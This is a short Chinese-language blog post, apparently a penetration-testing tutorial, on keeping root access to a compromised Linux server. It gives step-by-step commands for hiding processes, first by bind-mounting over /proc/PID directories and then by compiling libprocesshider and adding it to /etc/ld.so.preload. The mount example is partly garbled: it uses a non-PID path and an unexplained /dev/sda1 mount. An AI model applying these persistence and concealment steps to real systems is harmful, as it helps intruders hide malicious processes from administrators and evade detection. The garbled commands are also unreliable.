在Linux
服务器上获取root
用户权限后,可以通过挂载覆盖/proc/pid
目录来隐藏进程,使其在ps和top命令的输出结果中消失。同时,可以利用LD_PRELOAD环境变量劫持系统函数,通过自定义动态链接库来控制不显示指定进程名,从而隐藏进程的存在。
在渗透测试中,权限维持是很重要的环节。拿下目标后,无论是搜集信息,还是作为跳板,都需要长久的获取这台机器的权限。这时候,我们需要考虑Shell的“持久战”!
我们可以 利用 mount -bind
将另外一个目录挂载覆盖至 /proc/目录下,指定进程 PID 的目录。如果将进程 PID 的目录信息覆盖,则原来的进程信息会从 ps 的输出结果消失。具体命令如下:
mount -o bind /root/hid /proc/kali
mount /dev/sda1 /proc/kali
挂载成功后,之前运行的进程也消失了。
LD_PRELOAD
是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。
接下来,我们编译项目
git clone https://github.com/gianlucaborello/libprocesshider.git
cd libprocesshider
make
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
完成后,会生成 libprocesshider.so
文件
# 移动到库
mv libprocesshider.so /usr/local/lib/
# 写入预加载库文件
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
更多精彩文章 欢迎关注我们